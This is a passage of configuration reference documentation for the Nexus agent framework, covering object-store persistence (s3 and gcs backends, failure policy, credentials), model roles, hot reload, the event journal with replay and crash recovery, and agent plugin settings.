agent_idstring(empty)Partitions per-agent storage and other per-agent state. Set by multi-agent embedders (the desktop shell). Empty in CLI / single-agent embedders, which collapses agent-scope storage to app-scope.
storage.rootstring~/.nexusData root for app- and agent-scope per-plugin storage. App-scope .db files land at <root>/plugins/<pluginID>/store.db; agent-scope at <root>/agents/<agent_id>/plugins/<pluginID>/store.db.
storage.busy_timeout_msint5000SQLite busy_timeout PRAGMA per handle (milliseconds).
storage.cache_size_kbint2048SQLite cache_size PRAGMA per handle (negative-form, in KiB).
storage.pool_max_idleint2*sql.DB.SetMaxIdleConns per handle.
storage.pool_max_openint4*sql.DB.SetMaxOpenConns per handle.
object_store.backendstring(empty)Name of a registered object-store backend. Empty (the default) disables object storage entirely and no object-store code runs. An unregistered name fails the boot. See core.object_store below.
object_store.bucketstring(required if backend set)Bucket / container the backend writes to. Nexus never creates it.
object_store.prefixstring(empty)Object key prefix within the bucket, so several deployments can share one bucket. An object key, not a filesystem path: no ~ expansion, and a leading or trailing / is rejected.
object_store.regionstring(empty)Backend region, where the backend needs one. Required by s3 against real AWS; accepted and ignored by gcs, where a bucket’s location is a property of the bucket.
object_store.endpointstring(empty)Overrides the default service endpoint. This is what makes S3-compatible stores (MinIO, R2, Ceph) and local emulators reachable. Each backend documents exactly what it means: for s3 it also selects path-style addressing, for gcs it is an emulator switch that also turns authentication off when no credentials are available.
object_store.credentials_filestring(empty)Path to a static credentials file. Empty means ambient credentials — workload identity, instance role, environment — which is the preferred production path. Expanded through engine.ExpandPath.
object_store.failure_policystringdegradeWhat happens when state cannot be persisted. degrade (the default) keeps the session running against the local working copy and retries in the background; strict additionally refuses further input until the state is stored. Both retry with backoff and both recover on their own. Any other value fails the boot. See Failure policy below.
modelsmap(empty)Model role registry — see core.models below.

core.object_store

Optional. Makes a remote object store the source of truth for everything Nexus persists between runs, for deployments with no durable local disk. The block sits on core rather than under core.sessions because it is not session-only: the same backend carries the session tree, app- and agent-scope per-plugin storage, and eval run output — see Beyond the session tree below. Local disk remains the working copy during a run: core and every plugin keep reading and writing ordinary files, and the engine talks to the store only at lifecycle points. Absent this block — the default — behaviour is byte-identical to a build with no object-store support and no object-store code executes.

Backends are selected by name, in the database/sql driver style. A backend ships as its own Go module so the main module’s dependency list is untouched; an embedder adds it to their build with a blank import and names it in config:

import _ "github.com/frankbardon/nexus/modules/objectstore-s3"
core:
  object_store:
    backend: s3
    bucket: nexus-sessions
    prefix: prod/nexus
    region: us-east-1
    failure_policy: degrade

No core change is needed to add a backend, and a third party can implement the pkg/engine/objectstore.Backend seam in their own repository.

Object Storage is the adoption guide: wiring a backend into your own binary end to end, credential setup for each shipped backend, and the full list of what this feature deliberately does not do — starting with the fact that single-writer per session is assumed and not enforced. This page stays canonical for the keys themselves.

Validation is at load, not at first write. The whole block is checked while the YAML is parsed, so a typo, a missing bucket or a backend whose module was never imported fails the boot with the offending key in the message — rather than surfacing an hour into a session as a silently missing artifact. In particular, naming a backend whose module is not in the build reports that no backend module is imported.

Setting any key in the block while leaving backend empty is also an error: that combination is always a mistake, and silently ignoring it would leave the operator believing storage was configured.

Lifecycle. With a backend configured, the engine:

  1. Opens the backend at the top of Boot, before anything touches the session tree.
  2. Hydrates eagerly and whole-tree when resuming a session (-recall, or an embedder setting RecallSessionID), under the object key prefix sessions/<session id> beneath bucket + prefix. Hydration completes before the workspace is opened and before the first turn runs, so every subsequent read behaves exactly as it would on a host that never left — there is no lazy or faulting read path.
  3. Claims an owner marker at sessions/<session id>.owner/owner.json recording host, PID, a per-run instance ID and a heartbeat refreshed every 30 seconds, and reads whatever marker was already there. A second host that still looks like the holder is logged at error level and raised as session.owner.conflict. Detection only — nothing is refused, no lock is taken and nothing waits. A clean Stop removes the marker.
  4. Snapshots the whole session tree at every turn boundary — on agent.turn.end, and on demand via session.snapshot.request — and again at shutdown. A hard kill therefore loses at most the in-flight turn.
  5. Flushes and releases the backend at the end of Stop, after plugins, the journal and per-plugin SQLite have all closed.

Behaviour worth knowing:

  • The snapshot is synchronous. It blocks the goroutine that ended the turn until the upload is durable, because a turn reported complete while its state is still in flight is exactly the guarantee the snapshot exists to provide. The cost is O(tree size) per turn and is logged on every snapshot — objects, bytes, db_bytes and duration — and published as session.snapshot.result.

  • failure_policy governs a failed snapshot — see Failure policy below for exactly what each value guarantees. Either way session.snapshot.result carries ok: false.

  • An unknown session ID is not an error. Recalling an ID the store has never seen produces a valid, empty session, identical to one created locally.

  • A tree already on local disk wins. It is the live working copy, so hydration is skipped rather than overwriting it with a possibly older remote copy.

  • A hydration that fails partway fails the boot — under both failure policies. Hydration lands in a staging directory and is committed with an atomic rename, so a partial tree is discarded and never mistaken for a complete session. degrade means “keep running against the local copy”, and at hydrate time there is no local copy.

  • session.lock never crosses the seam. It records the PID of the process that owns the session on one machine; round-tripping it through the store would make every resumed session look locked. It is stripped from anything hydrated and is never uploaded.

  • SQLite sidecars never cross the seam either. store.db-wal, store.db-shm and store.db-journal describe a machine, not a session. Each store.db is WAL-checkpointed and snapshotted as a standalone file at the turn boundary, so the uploaded database restores with no sidecars beside it.

  • A failed or partial snapshot never replaces the previous good copy. A per-object manifest at sessions/<session id>.manifest/manifest.json and then a commit marker at sessions/<session id>.snapshot.json — both siblings of the tree, not members of it — are written only after every other object is durable, so they always describe the last snapshot that completed. A snapshot only ever adds and overwrites; it never deletes.

  • Hydration restores exactly the committed generation. The manifest lists the object set of the generation the marker names, and objects in the bucket that it does not name are not materialised into the session tree. They are left in the bucket, never deleted — reclamation is the operator’s. A bucket with no manifest (written by an older build, or by a session that has never completed a snapshot) hydrates whole, exactly as before. Content- addressed blobs are the one thing never pruned, because the local blob store sweeps under an LRU budget while the bucket does not, so a blob a committed history references can legitimately outlive the manifest that named it. See Sessions → The generation stamp and the per-object manifest.

  • Two hosts opening one session is detected, never prevented. The owner marker is a diagnostic, not a lease: no fencing token, no expiry the engine waits on, no refusal. A marker is treated as stale — and stays silent — when it belongs to this run, when its host matches and its PID is gone, or when its heartbeat stopped advancing more than 5 minutes ago, so an ordinary resume after a crash does not alarm. Both thresholds are constants rather than config keys. See Sessions → Two hosts, one session.

  • The local working copy is not wiped on clean exit. On ephemeral compute the filesystem disappears with the process anyway; on a durable host the local tree is a warm cache and the copy failure_policy: degrade falls back to. core.sessions.retention remains the operator-owned answer to when local session data goes away.

Failure policy

core.object_store.failure_policy is the one durability trade-off the operator owns rather than the implementation. Both values retry, both surface the outage on the bus, and both recover with no operator action — what differs is whether the session keeps taking turns while the store is unreachable.

degrade (default)strict
Turn that hit the outagecompletescompletes — it is not un-run
Further turnsacceptedrefused until the state is stored
Bussession.storage.degraded, then session.storage.recoveredsame, with turns_blocked: true
core.errornot raisedraised on every failed snapshot
Recoveryautomaticautomatic
Boot-time hydration failurefails the bootfails the boot

What strict guarantees, and what it does not. When a turn’s state cannot be persisted, the turn has already happened: its output was streamed to the user, its tools ran, and its side effects are in the world. Nothing in Nexus can un-run it, and no configuration makes it not have happened. What strict does is refuse to start another one:

  • the failure is raised immediately — core.error, an error-level log line, and session.snapshot.result with ok: false;
  • session.storage.degraded goes out with turns_blocked: true;
  • every subsequent io.input is vetoed until a snapshot succeeds, with the reason carrying the last error. The veto runs at priority 200, behind every other before:io.input subscriber, so slash commands and cancellation still work while the gate is closed;
  • the first successful snapshot clears the gate, emits session.storage.recovered and the session carries on.

So strict guarantees that no turn ever runs against state whose predecessor was not durably stored, and the divergence is never silent. It does not guarantee that the turn which hit the outage was prevented. A genuine pre-commit gate would need a vetoable turn-boundary event that does not exist, and would not help even if it did — by the time an agent loop can report a turn, the work is done.

What degrade costs. Turns keep succeeding against the local working copy, and that is the point — an object-store outage should not take down an interactive agent that still has a perfectly good local tree. The honest caveat: during a long outage the durability guarantee is not being met even though nothing is failing. Work the user watched happen exists only on local disk, so a host that dies while degraded loses it. That is the trade being chosen.

Retry and the queue bound. A single background worker per run retries with exponential backoff — 1 s, doubling, capped at 60 s — until the state lands. It handles two kinds of work:

  • a bounded queue of deferred pushes, capacity 256 objects, fed by blob write-through failures;
  • a pending whole-tree snapshot flag, the backstop, set by a failed snapshot, a failed flush, or a queue overflow.

Overflow does not lose work. A push that does not fit in the queue is discarded and the whole-tree snapshot is marked pending in its place. That snapshot re-uploads every object the store does not already hold at the right size, so the escalation is strictly stronger than the item it replaced — coarser, and paid in bandwidth rather than durability. The same is true of the blob write-through queue (also 256), whose own overflow escalates the same way. Both bounds, the backoff schedule and the per-request timeouts are compiled-in constants rather than config keys: every knob has to be documented, validated and supported forever, and an operator who wants to tune them is really asking for a different failure_policy.

Recovery needs nobody. An outage that heals mid-session drains on its own — either the next turn-boundary snapshot closes the episode, or, on an idle session where no further turn is coming, the retry worker does. The two events always pair: exactly one session.storage.degraded per outage and one session.storage.recovered when it ends, so a subscriber counts outages rather than failed requests.

One thing is deliberately not policy-governed. A blob write-through failure never closes the strict gate. Write-through is an optimisation in front of the turn-boundary snapshot, which re-uploads anything the store is missing; failing a turn because that optimisation stumbled on an object the very next snapshot repairs would make strict fire on transients it is not there to catch. Such a failure still queues for retry and still counts towards the degraded state.

Beyond the session tree

The session tree is one of four roots. With a backend configured, the same objectstore.Backend — no per-root methods, no per-root config — also carries:

RootLocal pathObject key
Session tree<core.sessions.root>/<id>/sessions/<id>/…
App-scope plugin storage<core.storage.root>/plugins/<pluginID>/store.dbplugins/<pluginID>/store.db
Agent-scope plugin storage<core.storage.root>/agents/<agent_id>/plugins/<pluginID>/store.dbagents/<agent_id>/plugins/<pluginID>/store.db
Eval run output<eval.reports_dir>/<run-id>/eval/<run-id>/…

Keys mirror the on-disk layout beneath the data root, one key segment per directory, so an operator browsing the bucket sees the directory names they already know. core.storage.root (default ~/.nexus) remains the single lever controlling where these live locally, exactly as it does with no backend configured.

  • Cross-session lifetimes are preserved. An app-scope store keys to plugins/<pluginID>/store.db with no session ID anywhere in it, which is what keeps it machine-wide. nexus.gate.token_budget stores a tenant token ceiling there precisely so it spans sessions; keying it under the session that happened to flush it would turn that into a per-session ceiling with nothing to notice — the gate would keep running and stop being a budget.
  • Agent scope follows the same collapse the storage manager applies. With core.agent_id empty, agent-scope handles resolve to app scope, and so do their keys. nexus.vectorstore.sqlite_fts (scope: agent) relies on this.
  • Shared stores hydrate per plugin directory, and never over a local one. A plugin directory that already exists locally is left alone: it may be open in this process or another one on the same machine, and replacing a store.db under a live SQLite handle corrupts it rather than merely staling it. A plugin directory with no local copy is hydrated at boot, before any plugin can open a handle.
  • They are snapshotted at the same turn boundary, with the same checkpoint-then-VACUUM INTO discipline, and are logged separately as shared_objects / shared_bytes / shared_db_duration so a large agent-scope index is distinguishable from a large session.
  • One writing host at a time. App- and agent-scope stores are shared across sessions by definition. Two processes on one host share the local file and SQLite serialises them, so the later upload is a superset of the earlier — safe. Two processes on different hosts each have their own copy, and the later flush overwrites the other’s at whole-database granularity. See Per-Plugin Storage → Concurrency.
  • Eval output is published once, at the end of the run. nexus eval run uploads its run directory under eval/<run-id>/ when the config file it was given (--config) names a backend. The per-case session trees under _sessions/ are excluded — they are session trees, and sessions are the seam’s other root. A publish failure warns and does not change the eval exit code, which is about the cases, not about the bucket.
  • Journal output is already covered by the session snapshot: the journal lives at <session>/journal/ and is captured at a consistent instant on every turn boundary.

The s3 backend

Shipped in-repo as its own Go module — github.com/frankbardon/nexus/modules/objectstore-s3, under modules/objectstore-s3/. It is not part of bin/nexus: the AWS SDK it depends on is exactly the kind of dependency the root module refuses to carry, so an embedder who wants it blank-imports it into their own main. See Repository Go Modules.

It covers Amazon S3 and every S3-compatible store: MinIO, Cloudflare R2, Ceph RGW and Backblaze B2.

It adds no config keys of its own. Everything it needs is already in the core.object_store block above; what follows is how this backend reads each key.

KeyHow the s3 backend uses it
backends3
bucketThe bucket. Never created — it must exist, and the credentials must be able to read, write, delete and list it.
prefixPrepended to every object key. Matched back on segment boundaries, so a bucket shared between a prod/nexus and a prod/nexus-staging deployment keeps them apart.
regionSigned into every request. Required against real AWS; with endpoint set it defaults to us-east-1, which every S3-compatible store accepts and none of them interprets.
endpointAn absolute http:// or https:// URL. Setting it also switches the client to path-style addressing (https://host/bucket/key), which is what makes MinIO, Ceph and Backblaze work unmodified — virtual-host addressing needs wildcard DNS and a wildcard certificate that a self-hosted store does not have. There is no separate path-style key, and none is needed: real AWS, which prefers virtual-host addressing, is the case where no endpoint is set.
credentials_fileAn ordinary AWS INI credentials file ([default], aws_access_key_id, aws_secret_access_key, optional aws_session_token), so the same file works with the AWS CLI and can be mounted as a Kubernetes secret unchanged. AWS_PROFILE selects the profile. Empty is the production path, and means the SDK’s default credential chain: environment variables, the shared config and credentials files, IRSA / EKS Pod Identity, ECS task roles, and the EC2 instance role via IMDSv2 — with expiry-aware refresh. Nexus neither reorders nor narrows that chain.
failure_policyInterpreted by the engine, not by the backend.
# Amazon S3 with a workload identity — no key material anywhere.
core:
  object_store:
    backend: s3
    bucket: nexus-sessions
    prefix: prod/nexus
    region: eu-west-2
# MinIO on a laptop, or any S3-compatible store.
core:
  object_store:
    backend: s3
    bucket: nexus
    endpoint: http://127.0.0.1:9000
    credentials_file: ~/.config/nexus/minio-credentials

Boot-time validation. A malformed endpoint, a credentials_file that is not there, and an unresolvable region all fail the boot naming the key. Nothing remote is checked: failure_policy: degrade exists so an object-store outage degrades a run rather than ending it, and a boot-time round trip to the bucket would make it structurally unable to do that.

Object keys mirror the local tree, one key segment per directory, under prefix. Nothing is encoded, hashed or flattened, so the bucket is browsable — <prefix>/sessions/<id>/plugins/nexus.scene/scene.jsonl is exactly the path it came from. Empty files are stored as zero-byte objects and restored as empty files; this backend never writes a zero-byte directory marker, so there is nothing to confuse them with.

One object at a time, synchronously. Put returns only once S3 has acknowledged the write, so there is no in-backend queue with a second retry regime underneath the engine’s own — retry, backoff and failure_policy stay in one place. A single PutObject caps one object at 5 GiB; no session artifact Nexus produces approaches that.

The gcs backend

Shipped in-repo as its own Go module — github.com/frankbardon/nexus/modules/objectstore-gcs, under modules/objectstore-gcs/. Like the s3 backend it is not part of bin/nexus: the Google Cloud SDK it depends on is exactly the kind of dependency the root module refuses to carry, so an embedder who wants it blank-imports it into their own main. See Repository Go Modules.

import _ "github.com/frankbardon/nexus/modules/objectstore-gcs"

It covers Google Cloud Storage, and — through endpoint — the Cloud Storage emulators.

It adds no config keys of its own. Everything it needs is already in the core.object_store block above; what follows is how this backend reads each key, and the two keys it reads differently from s3 are called out because a config copied between the two clouds will contain them.

KeyHow the gcs backend uses it
backendgcs
bucketThe bucket. Never created — it must exist, and the principal needs storage.objects.get, create, delete and list on it (the roles/storage.objectAdmin role covers exactly those). No project ID is needed anywhere: a project is required to create or list buckets, and this backend does neither.
prefixPrepended to every object key. Matched back on segment boundaries, so a bucket shared between a prod/nexus and a prod/nexus-staging deployment keeps them apart.
regionAccepted and ignored, with a warning logged once at boot. A GCS bucket’s location is chosen when the bucket is created and no client ever names one, so there is nothing to apply the value to. It is not an error, because the same core.object_store block is shared with s3 — where the region is signed into every request — and a config that travels between the two should not fail to boot over a key that cannot change behaviour here.
endpointAn absolute http:// or https:// URL naming a host, e.g. http://127.0.0.1:4443. The Cloud Storage JSON API path (/storage/v1/) is appended for you when the URL has none, so the key is spelled the same way for both backends; a URL that already carries a path is left alone, for an emulator behind a reverse proxy on a sub-path. Unlike s3, this is an emulator switch, not a way to reach an alternative provider: GCS has one production service, reached by leaving endpoint empty, and a VPC using Private Google Access or Private Service Connect gets there by DNS and routing policy rather than by a client-side override. Setting it also turns authentication off when no credentials are available — see credentials_file.
credentials_fileA service-account JSON key file, the format gcloud iam service-accounts keys create produces, so the same file works with gcloud and can be mounted as a Kubernetes secret unchanged. Only that credential type is accepted: an external-account (Workload Identity Federation) or impersonation configuration names a URL the auth library will fetch a token from, and accepting one from a path that may have come from a shared config repository would hand an attacker a credential-exfiltration primitive. Those belong on the ambient path below, via GOOGLE_APPLICATION_CREDENTIALS, where an operator opts into them at the environment level. Empty is the production path, and means Application Default Credentials: GOOGLE_APPLICATION_CREDENTIALS, the gcloud well-known file, GKE Workload Identity and the GCE service account via the metadata server, service-account impersonation, and Workload Identity Federation — with expiry-aware refresh and no key material on disk. Nexus neither reorders nor narrows that chain.
failure_policyInterpreted by the engine, not by the backend.
# Google Cloud Storage under GKE Workload Identity — no key material anywhere.
core:
  object_store:
    backend: gcs
    bucket: nexus-sessions
    prefix: prod/nexus
# A static service-account key, for somewhere Workload Identity is not available.
core:
  object_store:
    backend: gcs
    bucket: nexus-sessions
    credentials_file: ~/.config/nexus/gcs-service-account.json
# An emulator on a laptop. No credentials, no environment variables.
core:
  object_store:
    backend: gcs
    bucket: nexus
    endpoint: http://127.0.0.1:4443

Credential resolution, in order. credentials_file if set; otherwise Application Default Credentials if they resolve; otherwise, if endpoint is set, an unauthenticated client, logged at warn level, which is the emulator path — every Cloud Storage emulator is unauthenticated, and doing this from config is what lets an emulator deployment be described entirely in YAML. Anything else fails the boot. That last step is deliberately stricter than the Google SDK, which builds a client happily when it cannot find credentials and fails at the first request instead; under failure_policy: degrade that would be a run that starts, looks healthy and persists nothing.

Boot-time validation. A malformed endpoint, a credentials_file that is not there, and the no-credentials case above all fail the boot naming the key. Nothing remote is checked, for the same reason the s3 backend checks nothing remote: failure_policy: degrade exists so an object-store outage degrades a run rather than ending it, and a boot-time round trip to the bucket would make it structurally unable to do that.

Object keys mirror the local tree, one key segment per directory, under prefix — byte for byte the same layout the s3 backend produces. That is a decision, not a coincidence: a deployment migrating between the two clouds, or replicating one bucket into the other, can do it with the vendors’ own copy tools and no translation step. GCS has no directories — the console renders / as one, but a key is a single flat string — so depth costs nothing, and empty files are stored as zero-byte objects and restored as empty files. This backend never writes a zero-byte folder placeholder, so there is nothing to confuse them with.

One object at a time, synchronously, exactly as s3: Put returns only once GCS has acknowledged the write, so there is no in-backend queue with a second retry regime underneath the engine’s own. Two GCS-specific details fall out of that. Every upload and download is CRC32C-verified end to end by the SDK, so a successful Put means the bytes in the bucket are the bytes on disk, not merely that a request returned 200. And uploads and deletes are issued with the SDK’s RetryAlways policy rather than its default, which would not retry them at all: an object insert without a precondition is not idempotent in general, but this backend always writes whole objects and takes last-write-wins, so a repeated request converges. Without that, a transient 503 would fail a push that the s3 backend would have retried silently.

Deleting an object that is not there is not an error, matching the seam and matching s3. GCS itself returns 404 where S3 returns 204; the backend absorbs the difference, which is what lets the engine retry a delete without special-casing the second attempt.

core.models

Maps role names → model configurations. Roles can be:

  • single model — map with provider, model, max_tokens,
  • fallback chain — list of single-model maps (tried in order on non-retryable error or exhausted retries; coordinated by nexus.provider.fallback),
  • fanout role — map with fanout: true and a providers: list (dispatched in parallel by nexus.provider.fanout).
Key (per role)TypeDefaultDescription
defaultstringbalancedName of the role used when a request specifies no role.
<role>.providerstring(required)Plugin ID of the LLM provider (e.g. nexus.llm.anthropic).
<role>.modelstring(required)Model identifier as understood by the provider.
<role>.max_tokensint(provider default)Maximum response tokens.
<role>.fanoutboolfalseIf true, treat as fanout role; providers: list is dispatched in parallel.
<role>.providerslist(required if fanout: true)List of model configs for fanout dispatch.

Example:

core:
  models:
    default: balanced
    reasoning:
      provider: nexus.llm.anthropic
      model: claude-opus-4-7
      max_tokens: 16384
    balanced:
      - provider: nexus.llm.anthropic
        model: claude-sonnet-4-6
        max_tokens: 8192
      - provider: nexus.llm.openai           # fallback
        model: gpt-4o
        max_tokens: 8192
    panel:
      fanout: true
      providers:
        - provider: nexus.llm.anthropic
          model: claude-sonnet-4-6
        - provider: nexus.llm.gemini
          model: gemini-2.5-pro

A role missing from core.models whose name contains a hyphen is treated as a raw model ID with no provider (backward-compat). Otherwise resolution fails.

Engine

Engine-level resilience knobs that don’t belong under core (which is for runtime settings like log level and tick interval) and aren’t journal-specific.

engine:
  shutdown:
    drain_timeout: 30s
  config_watch:
    enabled: false      # opt in to fsnotify hot-reload
    debounce: 1s
KeyTypeDefaultDescription
shutdown.drain_timeoutduration30sMaximum time the engine waits for in-flight bus dispatches to complete on Shutdown before the plugin teardown phase begins. Acts as a floor: a plugin implementing engine.DrainOverride can extend (but not shorten) the effective window so a single batch poller or MCP server can flush without operators bumping the global setting. Sub-second values are accepted but rarely useful.
config_watch.enabledboolfalseWhen true, the CLI starts an fsnotify watcher on the -config path and calls Engine.ReloadConfig on every debounced edit. Default off because production deploys often touch the config file mid-rollout and operators rarely want auto-reload during such windows. SIGHUP and the browser admin endpoint remain available regardless.
config_watch.debounceduration1sWindow across which fsnotify write/create events on the same file are coalesced into a single reload. Editors commonly fire two or three Write events per save; 1s is well above that storm but short enough that the operator perceives the reload as instant.

Hot reload

The engine supports applying a new config to a running process without restarting any unaffected plugins. The flow is two-phase:

  1. Validate phase (atomic). The new config is run through the same schema validation as boot; capability provider identity is pinned (a plugin advertising memory.history cannot be replaced by another provider mid-flight); the diff between current and new active sets is computed. Any failure here returns an error and leaves the engine untouched.
  2. Apply phase (best-effort). The diff is walked: removed plugins shut down, in-place reloaders accept their new config, restart-only plugins are torn down and re-initialized, and added plugins run the full lifecycle. Engine-level fields (drain_timeout, config_watch) are swapped atomically before per-plugin work.

A reload that fails midway through the apply phase logs the error and surfaces it to the caller; the engine is left in a best-effort consistent state. True rollback is not attempted because “undoing” a Shutdown is not generally possible.

Triggers:

  • SIGHUP to the CLI process re-reads the original -config path and applies the result. (SIGINT and SIGTERM continue to terminate the engine.)
  • POST /admin/reload-config on the browser plugin’s HTTP server. Body is empty (re-read original path) or {"path": "/abs/path/to/new.yaml"} for ad-hoc paths. No auth layer yet — alpha-only; front with a reverse proxy if exposed.
  • fsnotify watcher on the original path. Off by default; opt in via engine.config_watch.enabled: true. Debounced by engine.config_watch.debounce to absorb editor save bursts.

Plugin opt-in: ConfigReloader. A plugin that implements

type ConfigReloader interface {
    ReloadConfig(old, new map[string]any) error
}

receives the in-place hook on a config-only change instead of going through ShutdownInitReady. Implementations must be transactional from the bus’s perspective: returning an error must leave the plugin in its prior state. Plugins that don’t implement the interface go through the full restart path; both work, the in-place hook is just an optimization for plugins where a restart would drop in-progress work (active streams, bound listeners) the operator would notice.

Capability provider identity is pinned. Hot-reload rejects any config change that would resolve a currently-bound capability (e.g. memory.history) to a different concrete provider. The session has in-flight state bound to the existing provider; a silent swap would strip the operator’s history. Restart the engine to change capability providers.

Journal

The journal is the engine’s always-on durable event log. Every dispatched bus event lands as a JSONL envelope at <sessions.root>/<session_id>/journal/events.jsonl with a monotonic per- session sequence number, the parent dispatch’s seq (best-effort), and the veto outcome for before:* events. The journal cannot be disabled — it is core infrastructure underpinning crash recovery, deterministic replay, and observability projections.

journal:
  fsync: turn-boundary       # turn-boundary | every-event | none
  retain_days: 30
  rotate_size_mb: 4
  exclude_events:            # event types the journal must not record
    - core.tick
KeyTypeDefaultDescription
fsyncstringturn-boundaryDisk-flush policy. turn-boundary fsyncs once per agent.turn.end (good throughput, recovers to last completed turn). every-event fsyncs after every envelope (strongest crash guarantee). none skips explicit fsync (test-only).
retain_daysint30Age in days past which a session’s journal directory is removed on engine boot. 0 disables sweeping. In-flight sessions are never touched.
rotate_size_mbint4Active segment size threshold (MiB). When agent.turn.end lands and the active segment exceeds this, it is compressed into events-NNN.jsonl.zst and the active segment is truncated.
exclude_events[]string["core.tick"]Event types the journal must not record. Excluded events still dispatch to bus subscribers (otel, eval, custom plugins); only the durable log skips them, and their seq is not consumed so on-disk envelopes stay gap-free. Default suppresses the engine heartbeat. Set to [] to record everything.

Disk layout

~/.nexus/sessions/<id>/journal/
  header.json                 # schema_version, created_at, fsync_mode, session_id
  events.jsonl                # active segment (append-only)
  events-001.jsonl.zst        # rotated, zstd-compressed
  events-002.jsonl.zst
  cache/                      # args-keyed tool result cache
    <tool_id>/
      <sha256>.json           # one file per (tool, canonical_args) pair

Tool result cache

Every tool.invoke / tool.result pair is recorded under journal/cache/ keyed by sha256(tool_id || canonical_args). During replay, the short-circuit helper consults the cache first — same args produce the same result regardless of dispatch order, so replay survives memory-state divergence between the original and replay runs. On cache miss, the helper falls back to the FIFO stash seeded by the coordinator from the journal’s tool.result events.

The canonical args hash sorts keys recursively, so two semantically equivalent argument maps with different key iteration order map to the same cache file.

Journal projections

Plugins that need to derive files from event streams register a projection via Journal.SubscribeProjection(types, handler). The handler fires on the writer’s drain goroutine after the envelope lands on disk, so derived files always lag the durable record by zero envelopes. Projections also drive post-mortem regeneration: journal.ProjectFile(dir, types, handler) walks an existing journal and feeds the same handler — a derived file deleted between runs will rebuild from the journal at the next boot.

The shipped nexus.observe.thinking plugin no longer uses this hook itself: its thinking.step and plan.progress events are already in the journal alongside every other event, so the plugin acts purely as a UI feature flag for shells that want to surface thinking. Custom plugins that need their own derived view should adopt the projection pattern.

Deterministic replay

bin/nexus -config <path> -replay <session-id> re-runs a journaled session without external calls. The Anthropic / OpenAI / Gemini providers and the side-effecting tools (shell, file, code_exec, web, pdf, ask_user), along with the nexus.control.hitl plugin’s hitl.responded events, detect replay mode and emit the next journaled llm.response / tool.result from a FIFO stash seeded from the source journal in seq order. The replay coordinator drives io.input events; the live agent loop reacts as if the inputs were fresh.

Replay produces functional equivalence (same final assistant outputs, same memory state) rather than byte-identical event re-emission. Side- effecting plugins expose a LiveCalls() counter that stays at zero during replay — tests assert this to catch regressions.

Crash recovery

bin/nexus -config <path> -recall <session-id> resumes a session whose journal ended mid-turn. The engine detects the partial turn via coord.IsPartialTurn(), restores conversational memory from context/conversation.jsonl, and re-emits the io.input that started the unfinished turn so the live ReAct loop restarts it.

Phase 3 minimum: the partial turn restarts from scratch rather than mid-step resume. Mid-step resume (replay-stash-short-circuit the completed prefix, then live-fire the unanswered tool.invoke) is a future PR. Re-firing the input after a crash mints fresh seqs that append to the same journal alongside the orphaned partial-turn events; a subsequent --replay of a crash-resumed session sees both the orphaned and the re-fired io.input.

Plugin activation

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.react
    - nexus.agent.subagent/researcher   # multi-instance suffix
    - nexus.agent.subagent/writer

Each entry in active may be followed by /<instance> to register a second copy of a multi-instance plugin (e.g. subagents). The base plugin ID + instance suffix forms the full ID used for per-plugin config:

plugins:
  nexus.agent.subagent/researcher:
    model_role: reasoning
    tool_name: spawn_researcher

A plugin with no configuration still parses cleanly without an explicit entry, but you may declare an empty map for clarity:

plugins:
  nexus.tool.file: {}
  nexus.observe.thinking: {}

Agents

nexus.agent.react

Source: plugins/agents/react/plugin.go.

KeyTypeDefaultDescription
planningboolfalseEmit plan.request before iterating; defers to a planner plugin.
model_rolestring(default)Role name from core.models.
system_promptstring(none)Inline system prompt (overrides system_prompt_file).
system_prompt_filestring(none)Path to file containing the system prompt.
parallel_toolsboolfalseRun multiple tool calls from a single LLM response in parallel.
max_concurrentint4Concurrency ceiling when parallel_tools: true.
tool_choicestring | map(none)Constrain tool selection. See “Tool choice” below.

Iteration limits are not an agent setting — enforce them with nexus.gate.endless_loop. ReAct’s required capabilities (memory.history, control.cancel, tool.catalog) are auto-activated by Requires() when no provider for those capabilities is already in plugins.active.

Tool choice

tool_choice accepts:

  • a string shorthand — tool_choice: required (or auto, any, none),
  • a map — tool_choice: { mode: tool, name: read_file },
  • a sequence — tool_choice: { sequence: [{ mode: required }, { mode: auto }] } applied per iteration; the last entry sticks.

Dynamic overrides arrive via agent.tool_choice events with duration: once (consumed after one iteration) or sticky (until cleared).

nexus.agent.planexec

Source: plugins/agents/planexec/plugin.go.

KeyTypeDefaultDescription
execution_model_rolestringbalancedRole used to execute each step.
replan_on_failurebooltrueRe-plan remaining work when a step fails (max 2 replans).
approvalstringneverPlan approval mode: always (block until user approves) or never.
system_promptstring(none)Inline system prompt.
system_prompt_filestring(none)Path to file containing the system prompt.

Step iteration and step counts are managed internally by the planner plugin that emits plan.result; they are not configured here.

nexus.agent.subagent

Source: plugins/agents/subagent/plugin.go. Multi-instance: register multiple copies via nexus.agent.subagent/<suffix>.

KeyTypeDefaultDescription
model_rolestring(default)Role used for the subagent’s LLM calls.
system_promptstring(none)Inline system prompt.
system_prompt_filestring(none)Path to file containing the system prompt.
tool_namestringspawn_<suffix> or spawn_subagentName of the spawn tool registered with the catalog.
tool_descriptionstring(auto)Description shown to the parent agent.

Depends on nexus.agent.react.

nexus.agent.orchestrator

Source: plugins/agents/orchestrator/plugin.go.

KeyTypeDefaultDescription
max_workersint5Concurrency cap for worker subagents.
max_subtasksint8Hard cap on subtasks (excess truncated).
worker_max_iterationsint10Iteration limit per worker (enforced via gate.endless_loop).
orchestrator_model_rolestringreasoningRole used for decomposition.
worker_model_rolestringbalancedRole used by workers.
synthesis_model_rolestringbalancedRole used for the final synthesis.
fail_fastboolfalseCancel remaining workers on the first failure.
system_promptstring(none)Inline system prompt.
system_prompt_filestring(none)Path to file containing the system prompt.

Depends on nexus.agent.subagent.

nexus.agent.postures

Source: plugins/agents/postures/plugin.go. Loads AgentPosture YAML files from the configured directories and advertises the posture.registry capability consumed by nexus.agent.delegate. fsnotify watches each directory for live edits; active sub-sessions keep their old posture, new invocations resolve the new one. See Postures for the AgentPosture schema.

KeyTypeDefaultDescription
scan_dirs[]string[]Directories scanned for *.yaml / *.yml posture files. Each entry runs through engine.ExpandPath so ~ expands.
debounce_msint250fsnotify reload debounce in milliseconds.

nexus.agent.delegate

Source: plugins/agents/delegate/plugin.go. Exposes the delegate tool that the LLM calls to invoke a registered posture. Requires the posture.registry capability (typically provided by nexus.agent.postures). Enforces budgets and recursion depth defined on each posture; results cached by posture version + task + context hash so posture edits invalidate stale entries. See Sub-agent delegation.

KeyTypeDefaultDescription
max_depthint3Hard cap on sub-agent recursion depth across all postures. Individual postures may set a lower cap via max_recursion_depth.
